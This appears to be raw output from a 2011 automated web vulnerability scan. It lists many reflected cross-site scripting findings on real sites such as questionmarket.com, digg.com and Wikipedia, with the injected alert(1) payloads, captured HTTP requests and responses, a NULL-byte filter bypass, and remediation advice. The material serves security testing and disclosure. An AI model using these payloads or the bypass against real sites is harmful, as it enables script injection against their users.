HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:37:51 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Cache-Control: private, must-revalidate P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://amch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Set-Cookie: LP=1316270271; expires=Wed, 21 Sep 2011 18:37:51 GMT; path=/; domain=.questionmarket.com Content-Length: 3868 Content-Type: text/html; charset=utf-8
<html> <head> <style> body {margin:0; }
table.outersurveybar {border-top:1px solid #808080; border-bottom:1px solid #999999; background-color:#B2B2B2; } table.outersurveybar td {border-top:1px solid ...[SNIP]... pCountDown(); // Put together the URL for the survey
// Send the survey frame there parent.survey.location = "http://survey.questionmarket.com/surv/913131/ai_start.php?site=10&from_aicode=92273873284";alert(1)//c45b9562948";}
// Invoked by the Certification button on the invitation page function Certify(URL) { popupWin = window.open(URL, 'Participant', 'location,scrollbars,width=450,height=300') window.top.name = ' ...[SNIP]...
The value of the link request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d421d'%3balert(1)//bcd6ca1703 was submitted in the link parameter. This input was echoed as d421d';alert(1)//bcd6ca1703 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
// Where the browser should go after the survey is finished var link = unescape('http://www.delish.com/search/fast_search_recipes?search_term=xss sugar cake&d421d';alert(1)//bcd6ca1703'); // Where the browser came from before the survey var origin = 'http://www.delish.com/search/fast_search_recipes?search_term=xss sugar cake&';
// Skip the survey function send() { top.window.locati ...[SNIP]...
5.16. http://amch.questionmarket.com/surveyf/nav.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://amch.questionmarket.com
Path:
/surveyf/nav.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75c64'%3balert(1)//3e77d42b39d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 75c64';alert(1)//3e77d42b39d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:38:05 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Cache-Control: private, must-revalidate P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://amch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Set-Cookie: LP=1316270285; expires=Wed, 21 Sep 2011 18:38:05 GMT; path=/; domain=.questionmarket.com Content-Length: 3865 Content-Type: text/html; charset=utf-8
<html> <head> <style> body {margin:0; }
table.outersurveybar {border-top:1px solid #808080; border-bottom:1px solid #999999; background-color:#B2B2B2; } table.outersurveybar td {border-top:1px solid ...[SNIP]... .com/search/fast_search_recipes?search_term=xss sugar cake&'); // Where the browser came from before the survey var origin = 'http://www.delish.com/search/fast_search_recipes?search_term=xss sugar cak/75c64';alert(1)//3e77d42b39de&';
// Skip the survey function send() { top.window.location.href = link; }
// Send the browser back where it came from function sendToOrigin() { top.window.location.href = origin; }
The value of the orig request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6606f'%3balert(1)//c12f3c25a95 was submitted in the orig parameter. This input was echoed as 6606f';alert(1)//c12f3c25a95 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:38:00 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Cache-Control: private, must-revalidate P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://amch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Set-Cookie: LP=1316270280; expires=Wed, 21 Sep 2011 18:38:00 GMT; path=/; domain=.questionmarket.com Content-Length: 3864 Content-Type: text/html; charset=utf-8
<html> <head> <style> body {margin:0; }
table.outersurveybar {border-top:1px solid #808080; border-bottom:1px solid #999999; background-color:#B2B2B2; } table.outersurveybar td {border-top:1px solid ...[SNIP]... com/search/fast_search_recipes?search_term=xss sugar cake&'); // Where the browser came from before the survey var origin = 'http://www.delish.com/search/fast_search_recipes?search_term=xss sugar cake&6606f';alert(1)//c12f3c25a95';
// Skip the survey function send() { top.window.location.href = link; }
// Send the browser back where it came from function sendToOrigin() { top.window.location.href = origin; }
The value of the survey_num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ecf2f"%3balert(1)//828815a93a3 was submitted in the survey_num parameter. This input was echoed as ecf2f";alert(1)//828815a93a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:37:49 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Cache-Control: private, must-revalidate P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://amch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Set-Cookie: LP=1316270269; expires=Wed, 21 Sep 2011 18:37:49 GMT; path=/; domain=.questionmarket.com Content-Length: 3868 Content-Type: text/html; charset=utf-8
<html> <head> <style> body {margin:0; }
table.outersurveybar {border-top:1px solid #808080; border-bottom:1px solid #999999; background-color:#B2B2B2; } table.outersurveybar td {border-top:1px solid ...[SNIP]... o_submit() { // Don't count down stopCountDown(); // Put together the URL for the survey
// Send the survey frame there parent.survey.location = "http://survey.questionmarket.com/surv/913131ecf2f";alert(1)//828815a93a3/ai_start.php?site=10&from_aicode=922738";}
// Invoked by the Certification button on the invitation page function Certify(URL) { popupWin = window.open(URL, 'Participant', 'location,scrollbars,widt ...[SNIP]...
The value of the survey_server request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b499"%3balert(1)//900ed15e804 was submitted in the survey_server parameter. This input was echoed as 1b499";alert(1)//900ed15e804 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:37:48 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Cache-Control: private, must-revalidate P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://amch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Set-Cookie: LP=1316270268; expires=Wed, 21 Sep 2011 18:37:48 GMT; path=/; domain=.questionmarket.com Content-Length: 3868 Content-Type: text/html; charset=utf-8
<html> <head> <style> body {margin:0; }
table.outersurveybar {border-top:1px solid #808080; border-bottom:1px solid #999999; background-color:#B2B2B2; } table.outersurveybar td {border-top:1px solid ...[SNIP]... n function do_submit() { // Don't count down stopCountDown(); // Put together the URL for the survey
// Send the survey frame there parent.survey.location = "http://survey.questionmarket.com1b499";alert(1)//900ed15e804/surv/913131/ai_start.php?site=10&from_aicode=922738";}
// Invoked by the Certification button on the invitation page function Certify(URL) { popupWin = window.open(URL, 'Participant', 'location,scr ...[SNIP]...
The value of the person%5Bcompany%5D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42a12"><script>alert(1)</script>9e198abd1c0 was submitted in the person%5Bcompany%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the person%5Bemail_address%5D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6907"><script>alert(1)</script>be1276185b1 was submitted in the person%5Bemail_address%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the person%5Bfirst_name%5D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a021"><script>alert(1)</script>4ad34c01bc2 was submitted in the person%5Bfirst_name%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the person%5Blast_name%5D request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efa61"><script>alert(1)</script>06ada816a86 was submitted in the person%5Blast_name%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the func request parameter is copied into the HTML document as plain text between tags. The payload 89adf<script>alert(1)</script>10099508dc9 was submitted in the func parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx Date: Sat, 17 Sep 2011 13:11:54 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 83
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload ba3d5<script>alert(1)</script>4a7a4901935 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 30c0e<script>alert(1)</script>5fefccbc8e2 was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload d29a7<script>alert(1)</script>a2d83874ca3 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload ad33b<script>alert(1)</script>93c84afa312 was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload cd29c<script>alert(1)</script>6bf969815c1 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 543f1<script>alert(1)</script>6bcd4c21fbd was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the query request parameter is copied into the HTML document as plain text between tags. The payload 270f5<script>alert(1)</script>2627f1c1e5e was submitted in the query parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the l request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c957"-alert(1)-"8b1ee8e53ae was submitted in the l parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the l request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63e07"-alert(1)-"00bf0ba6143 was submitted in the l parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0015cd3"><script>alert(1)</script>717828749f8 was submitted in the REST URL parameter 1. This input was echoed as 15cd3"><script>alert(1)</script>717828749f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /img%0015cd3"><script>alert(1)</script>717828749f8/badges/16x16-digg-guy.gif HTTP/1.1 Host: digg.com Proxy-Connection: keep-alive Referer: http://www.peopleschoice.com/pca/polls/poll.jsp?pollId=1000000270 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00602d3"><script>alert(1)</script>0a817cdd92a was submitted in the REST URL parameter 2. This input was echoed as 602d3"><script>alert(1)</script>0a817cdd92a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /img/badges%00602d3"><script>alert(1)</script>0a817cdd92a/16x16-digg-guy.gif HTTP/1.1 Host: digg.com Proxy-Connection: keep-alive Referer: http://www.peopleschoice.com/pca/polls/poll.jsp?pollId=1000000270 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %008a997"><script>alert(1)</script>afeedb8a9b5 was submitted in the REST URL parameter 3. This input was echoed as 8a997"><script>alert(1)</script>afeedb8a9b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /img/badges/16x16-digg-guy.gif%008a997"><script>alert(1)</script>afeedb8a9b5 HTTP/1.1 Host: digg.com Proxy-Connection: keep-alive Referer: http://www.peopleschoice.com/pca/polls/poll.jsp?pollId=1000000270 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %0087638<script>alert(1)</script>6e02d0bd6fe was submitted in the REST URL parameter 2. This input was echoed as 87638<script>alert(1)</script>6e02d0bd6fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /wiki/Chromium%0087638<script>alert(1)</script>6e02d0bd6fe HTTP/1.1 Host: en.wikipedia.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 17 Sep 2011 12:47:13 GMT Server: Apache Cache-Control: private, s-maxage=0, max-age=0, must-revalidate X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wiki/Chromium%0087638<script>alert(1)</script>6e02d0bd6fe Content-Length: 5381 Content-Type: text/html; charset=utf-8 X-Cache: MISS from sq60.wikimedia.org X-Cache-Lookup: MISS from sq60.wikimedia.org:3128 X-Cache: MISS from sq60.wikimedia.org X-Cache-Lookup: MISS from sq60.wikimedia.org:80 Connection: close
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Wikimedia page not found: http://en.wikipedia.org/wiki/Chromium%0087638< ...[SNIP]... <p style="font-weight: bold;">To check for "Chromium%0087638<script>alert(1)</script>6e02d0bd6fe" on Wikipedia, see: <a href="//en.wikipedia.org/wiki/Chromium%0087638<script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00624aa"><script>alert(1)</script>c96737ffef0 was submitted in the REST URL parameter 2. This input was echoed as 624aa"><script>alert(1)</script>c96737ffef0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /wiki/Chromium%00624aa"><script>alert(1)</script>c96737ffef0 HTTP/1.1 Host: en.wikipedia.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 17 Sep 2011 12:46:54 GMT Server: Apache Cache-Control: private, s-maxage=0, max-age=0, must-revalidate X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wiki/Chromium%00624aa"><script>alert(1)</script>c96737ffef0 Content-Length: 5409 Content-Type: text/html; charset=utf-8 X-Cache: MISS from sq78.wikimedia.org X-Cache-Lookup: MISS from sq78.wikimedia.org:3128 X-Cache: MISS from sq76.wikimedia.org X-Cache-Lookup: MISS from sq76.wikimedia.org:80 Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0048712"><script>alert(1)</script>4e011b11c98 was submitted in the REST URL parameter 2. This input was echoed as 48712"><script>alert(1)</script>4e011b11c98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /wiki/List_of_country_calling_codes%0048712"><script>alert(1)</script>4e011b11c98 HTTP/1.1 Host: en.wikipedia.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 17 Sep 2011 12:47:02 GMT Server: Apache Cache-Control: private, s-maxage=0, max-age=0, must-revalidate X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wiki/List_of_country_calling_codes%0048712"><script>alert(1)</script>4e011b11c98 Content-Length: 5535 Content-Type: text/html; charset=utf-8 X-Cache: MISS from sq66.wikimedia.org X-Cache-Lookup: MISS from sq66.wikimedia.org:3128 X-Cache: MISS from sq62.wikimedia.org X-Cache-Lookup: MISS from sq62.wikimedia.org:80 Connection: close
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload %00935d7<script>alert(1)</script>b1eea4d5111 was submitted in the REST URL parameter 2. This input was echoed as 935d7<script>alert(1)</script>b1eea4d5111 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /wiki/List_of_country_calling_codes%00935d7<script>alert(1)</script>b1eea4d5111 HTTP/1.1 Host: en.wikipedia.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 17 Sep 2011 12:47:21 GMT Server: Apache Cache-Control: private, s-maxage=0, max-age=0, must-revalidate X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wiki/List_of_country_calling_codes%00935d7<script>alert(1)</script>b1eea4d5111 Content-Length: 5507 Content-Type: text/html; charset=utf-8 X-Cache: MISS from sq61.wikimedia.org X-Cache-Lookup: MISS from sq61.wikimedia.org:3128 X-Cache: MISS from sq39.wikimedia.org X-Cache-Lookup: MISS from sq39.wikimedia.org:80 Connection: close
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Wikimedia page not found: http://en.wikipedia.org/wiki/List_of_country_cal ...[SNIP]... <p style="font-weight: bold;">To check for "List_of_country_calling_codes%00935d7<script>alert(1)</script>b1eea4d5111" on Wikipedia, see: <a href="//en.wikipedia.org/wiki/List_of_country_calling_codes%00935d7<script> ...[SNIP]...
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9f130"-alert(1)-"614655255ec was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32ddb'%3balert(1)//a462f1217a5 was submitted in the mpck parameter. This input was echoed as 32ddb';alert(1)//a462f1217a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d1b2"><script>alert(1)</script>f9dae9fa5f7 was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5ee5"%3balert(1)//49f4fb4cb03 was submitted in the mpvc parameter. This input was echoed as e5ee5";alert(1)//49f4fb4cb03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 358a9'%3balert(1)//baf0f6a66bf was submitted in the mpvc parameter. This input was echoed as 358a9';alert(1)//baf0f6a66bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 368e1"><script>alert(1)</script>12c7fa4208a was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcf78"-alert(1)-"ce92a136ff1 was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 489ce"><script>alert(1)</script>fc8c9872635 was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a4e1'%3balert(1)//fb1d5d0e816 was submitted in the mpck parameter. This input was echoed as 5a4e1';alert(1)//fb1d5d0e816 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpjs request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d3e1"%3balert(1)//93fc47cfcae was submitted in the mpjs parameter. This input was echoed as 8d3e1";alert(1)//93fc47cfcae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97a01'%3balert(1)//a5343286805 was submitted in the mpvc parameter. This input was echoed as 97a01';alert(1)//a5343286805 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb1ae"%3balert(1)//dabd418c3c5 was submitted in the mpvc parameter. This input was echoed as bb1ae";alert(1)//dabd418c3c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7611"><script>alert(1)</script>912217c74dc was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 675f8"-alert(1)-"1ff134b311f was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5dd24'%3balert(1)//8fded395788 was submitted in the mpck parameter. This input was echoed as 5dd24';alert(1)//8fded395788 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89cd3"><script>alert(1)</script>0d09c856d2f was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpjs request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd0ac"%3balert(1)//c837e622ffd was submitted in the mpjs parameter. This input was echoed as fd0ac";alert(1)//c837e622ffd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c5b2'%3balert(1)//ac7d3b9268 was submitted in the mpvc parameter. This input was echoed as 9c5b2';alert(1)//ac7d3b9268 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a572"><script>alert(1)</script>d6187dfdcba was submitted in the mpvc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
